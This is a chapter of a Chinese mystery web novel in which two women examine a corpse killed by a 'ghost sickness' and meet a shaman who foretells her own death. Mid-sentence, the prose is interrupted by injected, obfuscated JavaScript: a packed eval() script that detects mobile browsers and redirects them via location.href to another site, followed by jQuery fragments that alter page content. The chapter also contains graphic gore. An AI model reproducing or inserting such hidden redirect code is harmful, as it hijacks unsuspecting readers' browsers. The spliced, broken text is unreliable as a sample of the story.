那种凄厉的叫声音只响了三下,而且是越来越高,越来越大,越来越尖,但就在第三下响起,忽然嘎嘣一下,毫无征兆的停止了。
千佛国又恢复了寂静。
林承烨方才提起的心也随之重重坠落下去,跑在最前的脚步一顿,绷紧的神经霎时如断线,眉间竟是出现一丝茫然神色。
“这边!”
但很快,她将自己重新握在手心,眼神凝聚,冲身后二人挥了挥手。
那个方向走到底是永佛寺白色的围墙,林承烨视若无物,一下越过墙头,落在空旷的临街上。
在哪?应当就在这附近才是。方向没错,而且应当不会很远。
寒冷空气里的一切感知都有些迟滞,林承烨才胡乱向前迈了两步,一阵寒风就从身后拂过,吹乱了她的脑后高高扎起的束发。这本不应当让一个内力深厚之人缩瑟,但随之而来呛鼻的血腥味儿却让林承烨浑身僵硬。
明明她已经见过无数死亡,痛苦的,安详的,决绝的……可每一次,她都无法平静地面对那些面孔。
林承烨深吸一口气,转过身去。
浓丽鲜红的血如梅,盛开在佛寺的白墙。一人面对着墙垂头跪倒,如同跪在梅花林之中。
温热鲜血还在不断地从那人的身体中涌出,与寒冷相撞,在四周浮起淡淡的白雾。她仿佛亲眼看到那人的灵魂已经腾升而起,渐渐与皮肉分离。
明明已经做了心理准备,眼前的景象还是令她心脏一抽,竟是痛苦。林承烨立马飞奔过去,伸手在那人鼻下试探,已经没了气。
林承烨取下已经半浸没在鲜血中的黑色衣袍,轻轻将那个人裹住,她凝视着那在雪上越沁越大的血迹,感受着手掌下那人的皮肤慢慢冰冷,发硬。
一条命要经过多少困苦才能存活尚且不知,可死去却只需要一个眨眼,一个呼吸。这未免太不公平。
又两个人身影从墙内翻出来,魏景辰直接踩在血中,她看到这幅场景时先是一愣,随后将牙齿咬得咯吱作响,表情忽然变得极其可怖,狰狞。
“天子脚下……为什么会有这样的事!谁这么大胆子!”
魏景辰许久未曾如此愤怒。她想起半年前,她便是如此窝囊地离开临溯城,如今回来,这种窝囊气不减反增。她不明白,光天化日,朗朗乾坤下,这种夺人命的事就这样在距离临溯如此近的地方堂而皇之的发生。
那百姓要那皇帝有何用。
她深吸了一口气,蹲下身与林承烨一起将那个几乎折叠的人伸展开,平躺在地面,又将她满脸的鲜血擦去。
这是一名女人,但一时分辨不出年龄,她的五官因为痛苦已经完全扭曲,眼球凸起,五指死死地扣在面颊,深深刺入,将自己脸划烂。
林承烨掰开她的嘴巴,鲜血一下从口腔中涌出,她双指探入,发现连舌头都被她自己咬掉。难以想象究竟是多么大的痛苦才会让这个女人做出如此残忍伤害自己举动。
目光缓缓向下,林承烨忽然顿住,那个女人胸口正前方如姜衡所说,有一个拳头大的血窟,还在往外不停地呕血。林承烨深入其中,发现拳头大的血窟没有皮肉,下面也没有骨头,也没有脏器,她拿出一小断骨,断面相当奇怪,并不是光滑齐平,反而啃啃哇哇,极其不规则。
“什么利器能造成这样的伤口?这样……残忍。”
魏景辰捂住口鼻,干呕了一声,浓烈的血腥味儿让她都有些晕眩。她低声咒骂道。
“该死,为什么还没有人来,没人听到刚刚那一声吗?”
林承烨面色肃然,沉吟半晌,忽然盯着那满墙的血喃喃道。
“不,不像是利器。不对,不对,不是利器……”
似乎想到了什么,林承烨猛得一下抓住魏景辰的小臂,双目赤红地看着她。
“什么意思。”
魏景辰吓了一跳,她竟觉得林承烨那双眸子此时看起来毛骨悚然。
“……如果是利器,那么应当是从胸前伤的这名女子,她背后并无伤口,也就是说没有贯穿。刚刚她是对着墙跪坐,凶手在女人与墙之间,但你看墙面上的血迹,很是完整。没有断开的痕迹。”
林承烨声音沙哑,盯着魏景辰的眼睛一字一句道。
“你觉得这是什么?殿下,请告诉臣。”
这人明明知道,明明知道,偏偏要让她说出来,她又算什么,凭什么如此放肆。
魏景辰忽然更加愤怒,那些曾经的自持和冷静仿佛都不存在似的,登时挥起一拳打在林承烨左肩。那人痛得闷哼一声,握住魏景辰的手腕,忽然嘴角皮肉的一扯,眼睛里弥漫上明晃晃的嘲弄与讥讽。
她挣脱不开林承烨的桎梏,而那双眼睛的凝视越发深重,里面满是质问和不信。魏景辰忽然有种说不出的苦涩哽在喉头,林承烨究竟在问什么,气什么,她都明白,可她自己也觉得此时半个字都苍白。
魏景辰闭了闭眼,知道自己在这人面前输的彻底,只能投降,缓缓开口道。
“像是什么东西从她的身体里……钻出来了……”
话毕,林承烨松了手,抿起嘴一言不发,骨节分明的手掌撑在额头,眼中的怒火几乎快要喷出。魏景辰觉得刚刚被林承烨握住的小臂阵阵刺痛,衣服下肯定一片青紫。
过了一会儿,两人之间的火药味儿终于没那么浓烈,魏景辰才干巴巴开口。
“但你不能这样质问我,怀疑我,我是真的不知道这件事。”
“殿下,青石的原话可是,每年冬天都会有这鬼病发生。难道这件事就一点传不进临溯城,传不进皇宫,传不进圣上,传不进……您的耳朵?”
甚至长公主殿下就在此处,怎么可能,怎么可能,怎么可能……是不重要吗,是因为永佛寺中不会出现,便不用去解决吗?
林承烨抬起手,轻轻覆上那名女人睁圆凸起的眼睛,指缝中,那双眼睛仿佛依旧在凄厉的哀嚎着,无法闭上,亦无法安息。
“臣不信,殿下。”
她难道就信了?魏景辰觉得她才是觉得一切荒唐至极的人,刚刚压下去的火气又冒出来,攥住腰间佩剑的手背上根根青筋凸起。
“你……”
“你们在做什么!不要碰!”
忽然,一句尖锐的惊呼声响起。林承烨寻声回过头,看到一路过的女人死死地捂住嘴巴,她头带着宽大的白色头巾包裹住整张脸,唯一露出的眼睛中万分惊恐,连连退了几步,连手中提着的篮子都掉落在脚边。
“老天啊……你们在做什么,怎么能碰得了鬼病的人?快点,快点离开那里……神啊,神啊……”
带着头巾女人双手合十,对着天空念念有词,最近年尽是些神啊,造孽啊之类的词。林承烨听着费解,明明人就死在眼前,求什么鬼神,她没有动,冲着她大喊。
“可是这个人要怎么办?难道就让她在这里吗?你能不能过来帮忙认一下这是谁,我帮着送回她家里也好。”
“不要!我不认识!会有神婆来的,会有神婆来的……肯定已经有人去找那个神婆了。和得了鬼病的尸体呆在一起,会……会变成和她一样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292873|182606||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的东西。”
魏景辰无处发散的火气被女人语无伦次的几句话彻底点燃,她蹭得站起身,怒斥道。
“说什么鬼话!这世间哪有鬼怪一说!”
“不要过来,不要过来!你不要过来!”
谁成想,那女人见魏景辰站起身,看到她几乎半个身子都沾着鬼病之人的血,顿时吓得六神无主,连掉落的篮子也不管了,尖叫着转身跑进巷道。
这下魏景辰也怔住,她站在狂风里,吹起的碎雪挂满了睫毛,也迷了眼,她有些混乱,不明白为何人人口中的净土千佛国怎么就变成了这样。
而林承烨的质问更让她哑口无言,像是生生剥下她的一层脸皮那样,剥下莱国皇室自诩高贵的外皮,露出腐烂的肉。
笃笃,笃笃,笃笃。
蓦然,林承烨抬起头四处张望,她似乎听到几声细小而有节律的声响,应当是什么东西敲打在地面,那声音越来越大,越来越近,应当是向着她这个方向来了。
簌簌而落的雪中出现一个又瘦又小的人影,像是个小孩子,但当那人走近了,林承烨才发现那原来是一个已经很老很老的女人,身躯佝偻着,一手中拿着桃木做成的拐杖。
很老的女人像刚刚的女人一样带着白色的头巾,但只是松松垮垮的围着,像个滑稽的脖套。她的眼神好像也不太好,一直慢悠悠得走,直到林承烨眼前才停下来,还需要向前努力地伸头,凑得很近。
但很老的女人看清林承烨的一刻就笑了,发自内心的,甚至露出一口缺损的牙齿。她仿佛看不到满地的血迹,看不到如此诡异的场景,只是盯着林承烨说道。
“我叫楼三白,是她们口中的……”
“神婆?”
林承烨将满手的血迹往身上一擦,对着神婆恭敬地行了一礼。
“您快看看这位女子吧,这究竟是怎么回事?”
神婆挑挑眉,嘀咕一句。
“我很像神婆吗?好吧,好吧,你能猜到也不奇怪,神明说你很聪明。”
她这才看向一旁的尸体,神婆低下头,仔细端详着那个女人的脸。慢慢的,她脸上的笑容消失了,神婆伸手抚摸上那位死去姑娘的脸,眼泪一滴一滴如雨,洗刷了那死去姑娘满脸的血污。
“你还是……你还是……”
林承烨看着那位神婆,觉得她似乎比刚刚还要瘦小,额头低得几乎要触到雪面了。
“姑娘啊,帮我把她背回去吧。”
许久,神婆才抬起身子。她又咧起嘴笑起来,但这次的笑容怎么看怎么悲怆,在鼓起的颧骨上还留着两条泪痕。
林承烨也不多问,麻利地将女子的尸体背在身上,跟在神婆身后,在雪地上踩出一个又一个深坑。
两人走出去很久,林承烨才意识到魏景辰没跟上来,可她现在也懒得管。她现在满腹的疑问无人解答,那种憋闷和压抑的感觉涨满在胸腔中,林承烨还是忍不住,开口道。
“神婆,这到底是怎么回事?这是什么病?为什么……”
“我什么都不知道。”
神婆背对着她摇了摇头。
“但神明告诉我,你可以搞清楚。”
神婆忽然停下脚步,转过身看着林承烨。很平静,很坦然地宣布道。
“因为三天后,我会死。”
那语气简直就像明天早晨要吃饭一样自然。神婆指了指林承烨背上的尸体,说道。
“喏,像她一样。”
“到时候啊,你就可以亲眼看看这一切是怎么发生的了。”